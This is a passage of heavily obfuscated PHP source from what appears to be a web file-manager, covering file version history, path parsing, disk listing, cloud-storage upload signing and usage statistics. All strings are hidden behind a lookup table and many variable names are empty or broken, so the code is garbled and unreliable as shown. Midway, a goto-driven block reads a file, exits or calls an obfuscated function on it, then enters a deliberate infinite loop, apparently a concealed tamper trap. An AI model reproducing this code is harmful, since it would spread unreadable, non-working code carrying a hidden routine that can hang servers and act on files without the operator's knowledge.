return; } if ($[$[33]] == $[200]) { $Ѱ = self::listData($줩); if ($Ѱ && $Ѱ[$[398]]) { self::moveHistory($줩, $ހ[1]); } } else { IO::rename($[$[84]], $ހ[1]); } } public static function eventBeforeMove($) { $ =& $_SERVER[̧]; $д = self::parsePath($[0]); if (!$д) { return; } $ = self::parsePath($[1]); if (!$) { return; } $ú = $[3]; $ = self::checkInHistory($д); if (!$) { return; } $ = self::pathHistory($); if ($[$[33]] == $[200]) { $Ց = self::listData($д); $ޭ = rtrim($, $[8]) . $[8] . ($ú ? $ú : get_path_this($д)); $̧ = self::listData($ޭ); if ($Ց && $Ց[$[398]] && $̧ && $̧[$[398]]) { return self::clear($д); } if ($Ց && $Ց[$[398]]) { self::moveHistory($д, $ú, $); } } else { IO::move($[$[84]], $, !1, $ú); self::clearEmptyFolder(IO::pathFather($[$[84]])); } } public static function eventAfterRemove($, $ػ) { $꣬ =& $_SERVER[̧]; if (!$ػ) { return; } $Ԧ = self::parsePath($[0]); if (!$Ԧ) { return; } $̽ = self::checkInHistory($Ԧ); if (!$̽) { return; } if ($̽[$꣬[33]] == $꣬[200]) { $ = self::listData($Ԧ, !1); if ($ && $[$꣬[398]]) { self::clear($Ԧ, !1); } } else { IO::remove($̽[$꣬[84]]); self::clearEmptyFolder(IO::pathFather($̽[$꣬[84]])); } } private static function checkInHistory($) { $䕋ٿ = self::pathHistory($); if (!IO::exist($䕋ٿ)) { $䕋ٿ .= $_SERVER[̧][1251]; } return IO::exist($䕋ٿ) ? IO::info($䕋ٿ) : !1; } private static function parsePath($) { $Ŭ =& $_SERVER[̧]; if (!$) { return !1; } if ($GLOBALS[$Ŭ[1252]]) { return; } $⓷ = KodIO::parse($); $ҟ = $⓷[$Ŭ[33]]; $ = !$ҟ || $ҟ == KodIO::KOD_IO || $ҟ == KodIO::KOD_SHARE_ITEM; if (!$ || !$⓷[$Ŭ[1253]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $Ŭ[1254])) == DATA_PATH . $Ŭ[1254]) { return !1; } if ($ҟ == KodIO::KOD_SHARE_ITEM) { $Ŭ = IO::init($); if ($Ŭ->pathParse[$Ŭ[1171]]) { return self::parsePath($Ŭ->pathParse[$Ŭ[1171]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $Ŭ[1255]); foreach ($ as $) { if (!$ҟ && substr($, 0, strlen($)) == $) { return !1; } } self::log($GLOBALS[$Ŭ[1166]] . $Ŭ[1256] . $); return $; } private static function pathHistory($ˑ) { $Ϗ =& $_SERVER[̧]; $˙ = self::$_historyBase . ltrim(KodIO::clear($ˑ), $Ϗ[8]); $˙ = str_replace(array($Ϗ[1257]), array($Ϗ[1258]), $˙); return $˙; } public static function log($) { } public static function historyCount($ȩ) { $şɡ =& $_SERVER[̧]; $ᑋ = array(); $א˶ = array(); foreach ($ȩ as $޺) { $ = get_path_father($޺); if (!$א˶[$]) { $א˶[$] = array(); } $א˶[$][] = get_path_this($޺); } foreach ($א˶ as $ => $) { $嫵 = self::parsePath($); if (!$嫵) { continue; } foreach ($ as $) { $ = self::listData(rtrim($嫵, $şɡ[8]) . $şɡ[8] . $, !1); if ($ && $[$şɡ[398]]) { $ᑋ[rtrim($, $şɡ[8]) . $şɡ[8] . $] = count($[$şɡ[398]]); } } } return $ᑋ; } public static function add($椊) { $ =& $_SERVER[̧]; $ٻ = self::listData($椊); if (!$ٻ) { return; } $됧 = Model($[790])->get($[1259]); $ʷ = $GLOBALS[$[6]][$[89]][$[1237]]; $֫ʳ = $됧 == $[1260] ? min(5, $ʷ) : $ʷ; if ($ʷ <= 0) { return; } $ = IO::info($椊); $֓ = $ٻ[$[398]]; if ($[$[76]] == 0) { return; } if ($[$[76]] >= 1024 * 1024 * 500) { return !1; } $ı = IO::hashSimple($椊); if ($֓ && $֓[0][$[177]] == $ı) { return !0; } if (array_key_exists($[203], $) && !$[$[203]]) { return !1; } $ = short_id(time()); $ˇ = array($[437] => $, $[177] => $ı, $[32] => $[$[32]] . $[10] . date($[1261]) . rand_string(1), $[76] => $[$[76]], $[492] => USER_ID, $[201] => time(), $[1262] => $[12]); IO::mkdir($ٻ[$[1263]]); $ = IO::copy($椊, $ٻ[$[1263]], !1, $ˇ[$[32]]); if (!$) { self::clearEmptyFolder($ٻ[$[1263]]); return !1; } array_unshift($֓, $ˇ); if (count($֓) > $֫ʳ) { $ = array_slice($֓, $֫ʳ); foreach ($ as $ƪƕ) { IO::remove($ٻ[$[1263]] . $ƪƕ[$[32]]); } $֓ = array_slice($֓, 0, $֫ʳ); } return self::saveData($ٻ[$[1264]], $֓); } public static function remove($ޛ, $ԅ) { $Ǔ =& $_SERVER[̧]; $ = self::listData($ޛ); $׀ = array(); if (!$) { return !1; } foreach ($[$Ǔ[398]] as $֊䰨) { if ($֊䰨[$Ǔ[437]] == $ԅ) { IO::remove($[$Ǔ[1263]] . $֊䰨[$Ǔ[32]]); continue; } $׀[] = $֊䰨; } return self::saveData($[$Ǔ[1264]], $׀); } public static function clear($ҵ, $Ś = true) { $ =& $_SERVER[̧]; $ï = self::listData($ҵ, $Ś); if (!$ï) { return !1; } foreach ($ï[$[398]] as $ػ) { IO::remove($ï[$[1263]] . $ػ[$[32]]); } return self::saveData($ï[$[1264]], array()); } public static function moveHistory($¶ų, $Ԩϕ = '', $ = '') { $ʾ =& $_SERVER[̧]; $ = self::listData($¶ų, !1); if (!$ || !$[$ʾ[398]]) { return !1; } $ = $ʾ[1251]; $Ԩϕ = $Ԩϕ ? $Ԩϕ : get_path_this($¶ų); $ = $ ? $ : $[$ʾ[1263]]; $ = substr(get_path_this($[$ʾ[1264]]), 0, -strlen($)); foreach ($[$ʾ[398]] as $ => $) { $ = $Ԩϕ . substr($[$ʾ[32]], strlen($)); $ѩ = IO::move($[$ʾ[1263]] . $[$ʾ[32]], $, !1, $); if ($ѩ) { $[$ʾ[398]][$][$ʾ[32]] = $; } } $[$ʾ[1264]] = IO::move($[$ʾ[1264]], $, !1, $Ԩϕ . $); self::saveData($[$ʾ[1264]], $[$ʾ[398]]); self::clearEmptyFolder($[$ʾ[1263]]); } public static function rollback($ɑ, $ܛ) { $ת =& $_SERVER[̧]; $ͺҳ = self::listData($ɑ); if (!$ͺҳ) { return; } $ = IO::info($ɑ); foreach ($ͺҳ[$ת[398]] as $ => $ԜɈ) { if ($ԜɈ[$ת[437]] == $ܛ) { self::add($ɑ); $ = $ͺҳ[$ת[1263]] . $ԜɈ[$ת[32]]; $چ = IO::copy($, IO::pathFather($ɑ), REPEAT_REPLACE, $[$ת[32]]); if ($چ) { self::remove($ɑ, $ܛ); } return $چ; } } return !1; } public static function setDetail($瘍, $Ŭө, $ж) { $ι =& $_SERVER[̧]; $ = self::listData($瘍); if (!$) { return; } foreach ($[$ι[398]] as $Ӈ => $) { if ($[$ι[437]] == $Ŭө) { $[$ι[398]][$Ӈ][$ι[1262]] = $ж; self::saveData($[$ι[1264]], $[$ι[398]]); return !0; } } return !1; } public static function fileInfo($, $€) { $ʊ댅 =& $_SERVER[̧]; $ܶ = self::listData($); if (!$ܶ) { show_json(LNG($ʊ댅[105]), !1); } $ˮ = $ʊ댅[12]; foreach ($ܶ[$ʊ댅[398]] as $ => $) { if ($[$ʊ댅[437]] != $€) { continue; } $ˮ = $ܶ[$ʊ댅[1263]] . $[$ʊ댅[32]]; break; } if (!$ˮ) { show_json(LNG($ʊ댅[105]), !1); } return IO::info($ˮ); } public static function fileOut($, $, $̖ = false) { $ =& $_SERVER[̧]; $뢶 = self::fileInfo($, $); $ =& $GLOBALS[$[7]]; $̖ = isset($[$[1214]]) && $[$[1214]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1265]) { return IO::fileOutImage($뢶[$[84]], $[$[1266]]); } IO::fileOut($뢶[$[84]], $̖, get_path_this($)); } public static function listData($٠, $ = true) { $ =& $_SERVER[̧]; if ($ && !IO::exist($٠)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($٠, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($٠); $ވ = array($[1264] => $ . $[1251], $[1263] => rtrim(get_path_father($), $[8]) . $[8], $[398] => array()); $듳 = IO::getContent($ވ[$[1264]]); if ($듳) { $۝ = json_decode($듳, !0); if (is_array($۝)) { $ވ[$[398]] = $۝; } } return $ވ; } private static function saveData($٨, $ṋ) { $֩Ϛ =& $_SERVER[̧]; self::log($֩Ϛ[1267] . $٨ . $֩Ϛ[71] . count($ṋ), $֩Ϛ[771]); if ($ṋ) { return IO::setContent($٨, json_encode($ṋ)); } $禂 = IO::pathFather($٨); IO::remove($٨); self::clearEmptyFolder($禂); return !0; } public static function clearEmptyFolder($) { $Ԓ =& $_SERVER[̧]; if (trim($, $Ԓ[8]) == trim(self::$_historyBase, $Ԓ[8])) { return; } $óĤ = IO::pathFather($); $ = IO::has($, !0); if ($[$Ԓ[207]] > 0 || $[$Ԓ[208]] > 0) { return; } IO::remove($); self::clearEmptyFolder($óĤ); } private static function getBasePath() { $꼀 =& $_SERVER[̧]; $ = Model($꼀[1268])->get($꼀[1269]); if ($) { if (!IO::exist($)) { IO::mkdir($); } if (get_path_this($) == $꼀[1254]) { $Ę = $꼀[1270] . rand_string(8); @rename($, get_path_father($) . $꼀[8] . $Ę); $ = DATA_PATH . $Ę . $꼀[8]; file_put_contents(DATA_PATH . $꼀[1204], $꼀[12]); Model($꼀[1268])->set($꼀[1269], $); } return $; } $ = DATA_PATH . $꼀[1270] . rand_string(8) . $꼀[8]; $ = IO::mkdir($); $ = rtrim($, $꼀[8]) . $꼀[8]; file_put_contents($ . $꼀[1204], $꼀[12]); file_put_contents(DATA_PATH . $꼀[1204], $꼀[12]); Model($꼀[1268])->set($꼀[1269], $); return $; } } class KodIO { const KOD_SOURCE = "\173\163\157\x75\162\143\x65\175"; const KOD_USER_RECYCLE = "\x7b\x75\163\x65\x72\x52\x65\143\x79\143\154\x65\175"; const KOD_USER_FAV = "\173\165\163\x65\x72\x46\x61\x76\175"; const KOD_USER_FILE_TAG = "\173\165\x73\x65\162\106\x69\x6c\x65\x54\x61\x67\175"; const KOD_USER_FILE_TYPE = "\x7b\165\x73\x65\162\106\x69\154\145\124\171\160\x65\x7d"; const KOD_GROUP_ROOT_SELF = "\173\147\x72\x6f\x75\x70\x52\x6f\157\x74\123\145\x6c\x66\175"; const KOD_USER_SHARE = "\x7b\x75\163\145\162\123\x68\141\x72\145\175"; const KOD_USER_SHARE_LINK = "\173\165\163\145\x72\x53\x68\141\162\x65\x4c\x69\x6e\x6b\x7d"; const KOD_USER_SHARE_TO_ME = "\x7b\163\x68\x61\162\x65\124\x6f\115\x65\175"; const KOD_SHARE_ITEM = "\173\x73\x68\141\162\145\x49\x74\x65\x6d\175"; const KOD_SHARE_LINK = "\173\x73\x68\141\x72\145\111\164\145\x6d\x4c\x69\156\153\175"; const KOD_SEARCH = "\173\x73\145\x61\162\x63\150\x7d"; const KOD_BLOCK = "\173\x62\154\x6f\x63\x6b\x7d"; const KOD_IO = "\x7b\x69\x6f\x7d"; const KOD_USER_RECENT = "\x7b\x75\163\145\162\122\145\156\143\145\x6e\164\175"; const KOD_USER_DRIVER = "\x7b\144\162\x69\x76\145\162\x7d"; public static function typeList() { $籓 =& $_SERVER[̧]; return array($籓[1271] => self::KOD_SOURCE, $籓[1272] => self::KOD_USER_RECYCLE, $籓[1273] => self::KOD_USER_FAV, $籓[1274] => self::KOD_USER_FILE_TAG, $籓[1275] => self::KOD_USER_FILE_TYPE, $籓[1276] => self::KOD_GROUP_ROOT_SELF, $籓[1277] => self::KOD_USER_SHARE, $籓[1278] => self::KOD_USER_SHARE_LINK, $籓[1279] => self::KOD_USER_SHARE_TO_ME, $籓[1280] => self::KOD_SHARE_ITEM, $籓[1281] => self::KOD_SHARE_LINK, $籓[1282] => self::KOD_SEARCH, $籓[1283] => self::KOD_BLOCK, $籓[1284] => self::KOD_IO, $籓[1285] => self::KOD_USER_RECENT, $籓[1286] => self::KOD_USER_DRIVER); } public static function parse($) { $Ӝ =& $_SERVER[̧]; $ = self::clear($); $ = array_values(self::typeList()); preg_match($Ӝ[1287], $, $Ν); $ = array($Ӝ[460] => !1, $Ӝ[1288] => !1, $Ӝ[457] => !1, $Ӝ[84] => $, $Ӝ[1189] => !1, $Ӝ[1188] => $Ӝ[12]); if (is_array($Ν) && count($Ν) == 5) { $͙ = $Ӝ[1289] . $Ν[2] . $Ӝ[356]; if (in_array($͙, $)) { $[$Ӝ[1189]] = $Ν[1]; $[$Ӝ[33]] = $͙; $[$Ӝ[1290]] = substr($͙, 1, -1); $[$Ӝ[437]] = $Ν[3]; } $[$Ӝ[1188]] = $Ν[4]; } $Թ = array($Ӝ[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$Ӝ[1253]] = in_array($[$Ӝ[33]], $Թ); return $; } public static function isTruePath($) { $ =& $_SERVER[̧]; if (substr($, 0, 1) != $[1289]) { return !0; } if (strpos($, $[446]) === 0) { return !0; } if (strpos($, $[1257]) === 0) { return !0; } if (strpos($, $[1291]) === 0) { return !0; } if (strpos($, $[1292]) === 0) { return !0; } if (strpos($, $[1293]) === 0) { return !0; } return !1; } public static function clear($) { $ȅ =& $_SERVER[̧]; $ = str_replace(array($ȅ[1098], $ȅ[231]), $ȅ[53], $); $ = str_replace($ȅ[97], $ȅ[8], $); $Àڧ = $ȅ[1294]; if (substr($, 0, 3) == $ȅ[1295]) { $ = substr($, 3); } while (strstr($, $Àڧ)) { $ = str_replace($Àڧ, $ȅ[8], $); } $ = preg_replace($ȅ[1296], $ȅ[8], $); if ($ == $ȅ[8]) { return $ȅ[8]; } $ = rtrim($, $ȅ[8]); return $; } public static function pathTrue($ޮ) { $Ң =& $_SERVER[̧]; if (!$ޮ) { return $Ң[12]; } $ = strlen($ޮ); if (substr($ޮ, $ - 1, 1) == $Ң[8]) { $ޮ = substr($ޮ, 0, $ - 1); } $ޮ = str_replace($Ң[557], $Ң[8], str_replace($Ң[1297], $Ң[8], $ޮ)); if (substr($ޮ, 0, 2) == $Ң[1298]) { $ޮ = substr($ޮ, 2); } if (!strstr($ޮ, $Ң[1295])) { return $ޮ; } $ˀ = explode($Ң[8], $ޮ); $ = array_search($Ң[1299], $ˀ); if ($ >= 0) { $ˀ[$] = -1; } if ($ > 0) { $ˀ[$ - 1] = -1; } $ = array(); foreach ($ˀ as $) { if ($ !== -1) { $[] = $; } } return self::pathTrue(implode($Ң[8], $)); } public static function sourceID($̌) { $ =& $_SERVER[̧]; $ = self::parse($̌); if ($[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1300]), !1); } return $[$[437]]; } public static function make($ꖋُ) { if (!$ꖋُ) { return !1; } return self::makePath(self::KOD_SOURCE, intval($ꖋُ)); } public static function makeShare($޷, $) { return self::makePath(self::KOD_SHARE_ITEM, $޷, $); } public static function makeFileTypePath($Є) { return self::makePath(self::KOD_USER_FILE_TYPE, $Є); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($՝, $ = '', $ɑ = '') { $ =& $_SERVER[̧]; $ҫ = substr($՝, 1, -1); $ɛ = $[1301] . $ҫ . $[1302] . $ . $[1303]; $ɛ = $ɑ ? $ɛ . $ɑ . $[8] : $ɛ; return $ɛ; } public static function hashPath($, $Δ = true) { $ۘ =& $_SERVER[̧]; $ = is_array($) ? $ : IO::info($); $ʎ = _get($, $ۘ[1304], $ۘ[12]); if (!$ʎ && isset($[$ۘ[440]])) { $ = IO::info(KodIO::make($[$ۘ[440]])); $ʎ = _get($, $ۘ[1304], $ۘ[12]); } if (!$ʎ && $Δ) { $٭ = KodIO::parse($[$ۘ[84]]); if (!$٭[$ۘ[33]]) { $ʎ = IO::hashSimple($[$ۘ[84]]); } } if (!$ʎ) { $ʎ = md5($[$ۘ[84]] . $[$ۘ[76]] . $[$ۘ[85]]); } return $ʎ; } public static function hashPathSafe($, $ = true) { $Ŗʶ =& $_SERVER[̧]; $ = self::hashPath($, $); return md5($ . $Ŗʶ[1305] . Model($Ŗʶ[790])->get($Ŗʶ[791])); } public static function initSystemPath() { $ =& $_SERVER[̧]; if (defined($[1306])) { return; } define($[1306], self::systemPath($[1307])); define($[1308], self::systemPath($[1309])); define($[1310], self::systemPath($[1311])); define($[1312], self::systemPath($[1313])); IOHistory::bindEvent(); } public static function systemPath($ڲ) { $ =& $_SERVER[̧]; $ = $[1314] . ucfirst($ڲ); $ޭ = Model($[790])->get($); if ($ޭ) { return $ޭ; } if ($ڲ == $[1307]) { $ޭ = self::make(Model($[845])->systemRootPathAdd($[572])); } else { $ޭ = self::systemPath($[1307]); $ = self::sourceID($ޭ); $ޭ = self::make(Model($[845])->mkdir($, $ڲ)); } Model($[790])->set($, $ޭ); return $ޭ; } public static function systemFolder($既) { $ῲ = IO_PATH_SYSTEM_SOURCE . $既; $Ꮉ = Cache::get($ῲ); if (!$Ꮉ) { $҆ = IO::infoFull($ῲ); if (!$҆) { $Ꮉ = IO::mkdir($ῲ, REPEAT_SKIP); } else { $Ꮉ = $҆[$_SERVER[̧][84]]; } Cache::set($ῲ, $Ꮉ, 3600 * 10); } return $Ꮉ; } public static function defaultDriver() { return Model($_SERVER[̧][787])->defaultDriver(); } public static function defaultIO() { $ڬ =& $_SERVER[̧]; $ = self::defaultDriver(); return $ڬ[1315] . $[$ڬ[437]] . $ڬ[1303]; } public static function defaultDriverInit() { static $н = false; if ($н) { return $н; } $н = IO::init(self::defaultIO()); return $н; } public static function fileTypeList() { $ډ =& $_SERVER[̧]; $ۜט = $GLOBALS[$ډ[6]][$ډ[1316]]; foreach ($ۜט as $ => $˗م) { $ﻘ˒ = $ډ[1317] . $; $Θײ = LNG($ﻘ˒); if ($ﻘ˒ != $Θײ) { $ۜט[$][$ډ[32]] = $Θײ; } } return $ۜט; } public static function diskList($ʉ = true) { $㧡 = $_SERVER[̧][1318]; if ($ʉ) { $¡ = Cache::get($㧡); if (is_array($¡)) { return $¡; } } $¡ = self::diskListGet(); Cache::set($㧡, $¡, 60); return $¡; } public static function diskListGet() { $ҵ =& $_SERVER[̧]; $İ = array(); if ($GLOBALS[$ҵ[6]][$ҵ[1319]] == $ҵ[1320]) { $ = $ҵ[1321]; for ($ɛ = 0; $ɛ < strlen($); $ɛ++) { $ = $[$ɛ] . $ҵ[1322]; if (file_exists($)) { $İ[] = $; } } return $İ; } if (!function_exists($ҵ[98])) { $İ[] = $ҵ[855]; return $İ; } $醥 = explode($ҵ[231], shell_exec($ҵ[1323])); array_shift($醥); array_pop($醥); $ = array($ҵ[1324], $ҵ[1325], $ҵ[1326], $ҵ[1327], $ҵ[1328], $ҵ[1329], $ҵ[1330], $ҵ[1331]); foreach ($醥 as $ڞ) { $ɏ = preg_split($ҵ[1332], $ڞ); $ = $ɏ[count($ɏ) - 1]; if (!strstr($ɏ[0], $ҵ[1333]) || !$) { continue; } $ = rtrim($, $ҵ[8]) . $ҵ[8]; if (in_array($, $)) { continue; } $İ[] = $; } return $İ; } public static function isSameDisk($͠, $) { $ұڡ =& $_SERVER[̧]; if ($GLOBALS[$ұڡ[6]][$ұڡ[1319]] == $ұڡ[1320]) { return strtolower(substr($͠, 0, 1)) == strtolower(substr($, 0, 1)); } $ = self::diskList(); $ = !1; $ٙ = !1; sort($); $ = array_reverse($); $͠ = rtrim($͠, $ұڡ[8]) . $ұڡ[8]; $ = rtrim($, $ұڡ[8]) . $ұڡ[8]; foreach ($ as $) { $ܛ = strlen($); if (!$ && substr($͠, 0, $ܛ) == $) { $ = $; } if (!$ٙ && substr($, 0, $ܛ) == $) { $ٙ = $; } if ($ && $ٙ) { break; } } return $ === $ٙ; } public static function transferType($۰Ӽ, $샛) { $ʩ =& $_SERVER[̧]; $ = self::driverType($۰Ӽ); $ےʫ = self::driverType($샛); if ($[$ʩ[33]] == $ےʫ[$ʩ[33]] && $[$ʩ[1334]] == $ےʫ[$ʩ[1334]]) { return $ʩ[1335]; } if ($[$ʩ[33]] == $ʩ[888] && $ےʫ[$ʩ[33]] == $ʩ[106]) { return $ʩ[1214]; } if ($[$ʩ[33]] == $ʩ[106] && $ےʫ[$ʩ[33]] == $ʩ[888]) { return $ʩ[107]; } return $ʩ[1336]; } public static function driverType($) { $޵ =& $_SERVER[̧]; $̪ = str_replace($޵[1337], $޵[12], strtolower($->getType())); if ($̪ == $޵[777] || $̪ == $޵[1338] || $̪ == $޵[1339]) { $ = self::defaultDriverInit(); } else { if ($̪ == $޵[1224] || $̪ == $޵[1340]) { $ = IO::init($->pathParse[$޵[1171]]); } } $ = $->path; $̪ = str_replace($޵[1337], $޵[12], strtolower($->getType())); if ($̪ == $޵[106]) { return array($޵[33] => $޵[106], $޵[1334] => $޵[12], $޵[84] => $, $޵[95] => $); } return array($޵[33] => $޵[888], $޵[1334] => $->pathDriver, $޵[84] => $, $޵[95] => $); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($) { $ =& $_SERVER[̧]; $Ȝ = $ ? self::driverType(IO::init($)) : !1; return $Ȝ[$[33]] == $[106] ? !0 : !1; } public static function allowCover($ă, $ƽ = true) { $ =& $_SERVER[̧]; if (is_string($ă)) { $ă = IO::info($ă); } if (!$ă || $ă[$[33]] == $[75] || $ă[$[76]] <= 100) { return !1; } if (isset($ă[$[1341]]) || !$ă[$[84]]) { return !1; } if (isset($ă[$[202]]) && !$ă[$[202]]) { return $ă; } static $ = false; if (!$ || !$ƽ) { $Δ = self::driverType(IO::init($ă[$[84]])); $ = $Δ[$[95]]; $ = $[1342]; if ($Δ[$[33]] == $[106]) { $ = $[1343]; } if ($Δ[$[95]] && is_array($Δ[$[95]]->config)) { $޲ = $Δ[$[95]]->config; if (isset($޲[$[1344]]) && $޲[$[1344]]) { $ = $[1343]; } } } return $ == $[1343] ? !0 : !1; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($ևܶ) { parent::__construct($ևܶ); $this->signatureVersion($_SERVER[̧][216]); } public function uploadFormData($, $ = 3600) { $ԟ =& $_SERVER[̧]; $ʊ = $ԟ[199]; $ = $ԟ[232]; $媲 = $ԟ[242]; $ެ = gmdate($ԟ[1345], time() + $); $ = (string) time() . $ԟ[71] . (string) (time() + $); $Ť = array($ԟ[243] => $ެ, $ԟ[246] => array(array($ԟ[248] => $ʊ), array($ԟ[247] => $this->bucket), array($ԟ[249], $ԟ[250], $ԟ[12]), array($ԟ[253] => $媲), array($ԟ[1346] => $), array($ԟ[1347] => $this->accessKey), array($ԟ[1348] => $))); $Ť = json_encode($Ť); $ȜČ = hash_hmac($ԟ[232], $, $this->secret); $ = sha1($Ť); $󿳏ڹ = hash_hmac($ԟ[232], $, $ȜČ); $ = array($ԟ[248] => $ʊ, $ԟ[253] => $媲, $ԟ[261] => base64_encode($Ť), $ԟ[1346] => $, $ԟ[1347] => $this->accessKey, $ԟ[1349] => $, $ԟ[1350] => $󿳏ڹ, $ԟ[182] => $this->getHost()); return $; } public function fileOutLink($) { $“ =& $_SERVER[̧]; if (substr($, 0, 7) == $“[1351]) { $ = $“[1352] . substr($, 7); } header($“[161] . $); die; } } goto Bίˈ; C֯: define($_SERVER[̧][0], $_SERVER[̧][1]); $_SERVER[ې] = explode($_SERVER[̧][2], gzinflate(substr($_SERVER[̧][3], 10, -8))); function binCheckEq($ʕ, $) { return $ʕ == $; } goto E; EϮ: if (!isset($_SERVER[$_SERVER[̧][425]]) || !isset($_SERVER[$_SERVER[̧][433]])) { $_getc = $_SERVER[̧][427]; $_getfile = $_SERVER[$_SERVER[̧][428]] . $_SERVER[̧][429]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[̧][231], $_getfilec); if (count($_getarrs) < $_SERVER[̧][430]) { $exit = $_SERVER[̧][431]; $exit(); } $_act = $_SERVER[̧][432]; $_act($_SERVER[$_SERVER[̧][428]] . $_SERVER[̧][429]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[̧][407]); } } class AnalysisModel extends ModelBaseLight { public function init($֣) { $ =& $_SERVER[̧]; $˹ = array($[628] => array($[33] => $[1780], $[302] => array($[224], $[785], $[1781], $[1782])), $[1783] => array($[33] => $[1784], $[302] => array($[224], $[783], $[1785], $[1786], $[1787]))); if (!isset($˹[$֣])) { return !1; } $this->optionType = $˹[$֣][$[33]]; $this->field = $˹[$֣][$[302]]; return !0; } public function listData($ = false, $ = "\155\x6f\144\x69\x66\x79\x54\x69\x6d\145", $毉 = false) { return parent::listData($, $, $毉); } public function trendList($) { $ݔ =& $_SERVER[̧]; $ = $this->listData(); if ($) { $̀廥 = end($); $ུ = date($ݔ[1788], strtotime($ݔ[1789])); if ($̀廥[$ݔ[224]] == $ུ) { return $; } $ = strtotime($̀廥[$ݔ[224]]); } if (!isset($)) { $ڳ = $ == $ݔ[628] ? $ݔ[563] : $ݔ[845]; $ = Model($ڳ)->min($ݔ[201]); } $ɦ = $ݔ[1790] . ucfirst($); $պ = $this->dateList($); foreach ($պ as $ུ) { $this->{$ɦ}($ུ); } return $this->listData(); } private function dateList($̨) { $ =& $_SERVER[̧]; $夑 = $̨; $㰆 = strtotime($[1789]); $֌ = array(); while ($夑 <= $㰆) { $֌[] = date($[1788], $夑); $夑 = strtotime($[1791], $夑); } return $֌; } public function _recordUser($㩛 = '') { $݋ =& $_SERVER[̧]; $о = strtotime(date($݋[1792], strtotime($㩛))); $ = strtotime(date($݋[1793], strtotime($㩛))); $ = array($݋[201] => array($݋[1033], $)); $ = Model($݋[563])->where($)->count($݋[1661]); $[$݋[201]] = array($݋[362], array($о, $)); $ = Model($݋[563])->where($)->count($݋[1661]); $[$݋[33]] = $݋[1794]; $޴ = Model($݋[1795])->where($)->count($݋[1796]); $ט = array($݋[224] => $㩛, $݋[785] => (int) $, $݋[1781] => (int) $, $݋[1782] => (int) $޴); return $this->insert($ט); } public function _recordStore($ت = '') { $ȵޙ =& $_SERVER[̧]; $ = strtotime(date($ȵޙ[1793], strtotime($ت))); $ = array($ȵޙ[201] => array($ȵޙ[1033], $)); $ = Model($ȵޙ[509])->where($)->sum($ȵޙ[76]); $[$ȵޙ[448]] = 0; $ժ = Model($ȵޙ[845])->where($)->sum($ȵޙ[76]); $[$ȵޙ[449]] = 1; $ = Model($ȵޙ[845])->where($)->sum($ȵޙ[76]); $[$ȵޙ[449]] = 2; $ = Model($ȵޙ[845])->where($)->sum($ȵޙ[76]); $ = array($ȵޙ[224] => $ت, $ȵޙ[783] => (int) $ժ, $ȵޙ[1785] => (int) $, $ȵޙ[1786] => (int) $, $ȵޙ[1787] => (int) $); return $this->insert($); } public function trend($Ă, $ͨ) { $ =& $_SERVER[̧]; if (!$this->init($Ă)) { return !1; } $ = $this->trendList($Ă); if ($ && $ͨ != $[1634]) { $ = $[0][$[224]]; $߆ = $this->validDate($ͨ, $); $ = array(); $ڑ = array_to_keyvalue($, $[224]); foreach ($߆ as $) { if (isset($ڑ[$])) { $ = $ڑ[$]; } else { $ = end($); $[$[224]] = $; if ($Ă == $[628]) { $[$[1781]] = $[$[1782]] = 0; } } $[] = $; } $ = $; } $乹 = array($[628] => array($[785] => LNG($[1797]), $[1781] => LNG($[1798]), $[1782] => LNG($[1799])), $[1783] => array($[783] => LNG($[1800]), $[1785] => LNG($[1801]), $[1786] => LNG($[1802]), $[1787] => LNG($[1803]))); $ = array($[628] => $[1804], $[1783] => $[76]); if (empty($)) { $ = date($[1788], strtotime($[1789])); $ = array($[224] => $); foreach ($乹[$Ă] as $Ϋ => $ޢ) { $[$Ϋ] = 0; } $[] = $; } $ܑ = array(); foreach ($ as $ޢ) { if ($Ă == $[1783] && $ޢ[$[1785]] > $ޢ[$[783]]) { $ޢ[$[1785]] = $ޢ[$[783]]; } foreach ($乹[$Ă] as $Ϋ => $) { $ = array($[224] => $ޢ[$[224]], $[1559] => $); $[$[$Ă]] = isset($ޢ[$Ϋ]) ? $ޢ[$Ϋ] : 0; $ܑ[] = $; } } return $ܑ; } public function validDate($, $˗) { $վ =& $_SERVER[̧]; $ƕ = date($վ[1788], strtotime($վ[1789])); $ = array($ƕ); switch ($) { case $վ[1641]: $緖 = mktime(0, 0, 0, date($վ[1805]), date($վ[1381]) - date($վ[1444]) + 7 - 7, date($վ[1806])); $㵈 = 0; do { $ƪ = date($վ[1788], $緖 - 3600 * 24 * 7 * $㵈); $[] = $ƪ; $㵈++; } while ($˗ < $ƪ); break; case $վ[1639]: $㵈 = 1; do { $ۨ = date($վ[1807], strtotime("\55\x20{$㵈}\x20\x6d\x6f\156\x74\x68\163")); $[] = $ۨ; $㵈++; } while ($˗ < $ۨ); break; case $վ[1808]: $𔬿 = (int) date($վ[1806], strtotime($˗)); $ = (int) date($վ[1806]); if ($𔬿 >= $) { break; } for ($𔬿; $𔬿 < $; $𔬿++) { $[] = $𔬿 . $վ[1809]; } break; default: break; } if ($˗ > end($)) { array_pop($); } sort($); return $; } public function listTable($Ԋ) { $ = ucfirst($Ԋ); return Model($)->listData(); } public function option($蔸) { $ޒ = $_SERVER[̧][1810] . ucfirst($蔸); return $this->{$ޒ}(); } private function optionUser() { $Ӳ =& $_SERVER[̧]; $߽ = Model($Ӳ[563])->count($Ӳ[1661]); $Ͼ = Model($Ӳ[563])->where($Ӳ[1811])->count($Ӳ[1661]); $ᚴ = intval($GLOBALS[$Ӳ[6]][$Ӳ[378]][$Ӳ[1614]]) / 3600; $򳸗 = strtotime("\x2d{$ᚴ}\40\x68\157\165\x72\163"); $¾ = 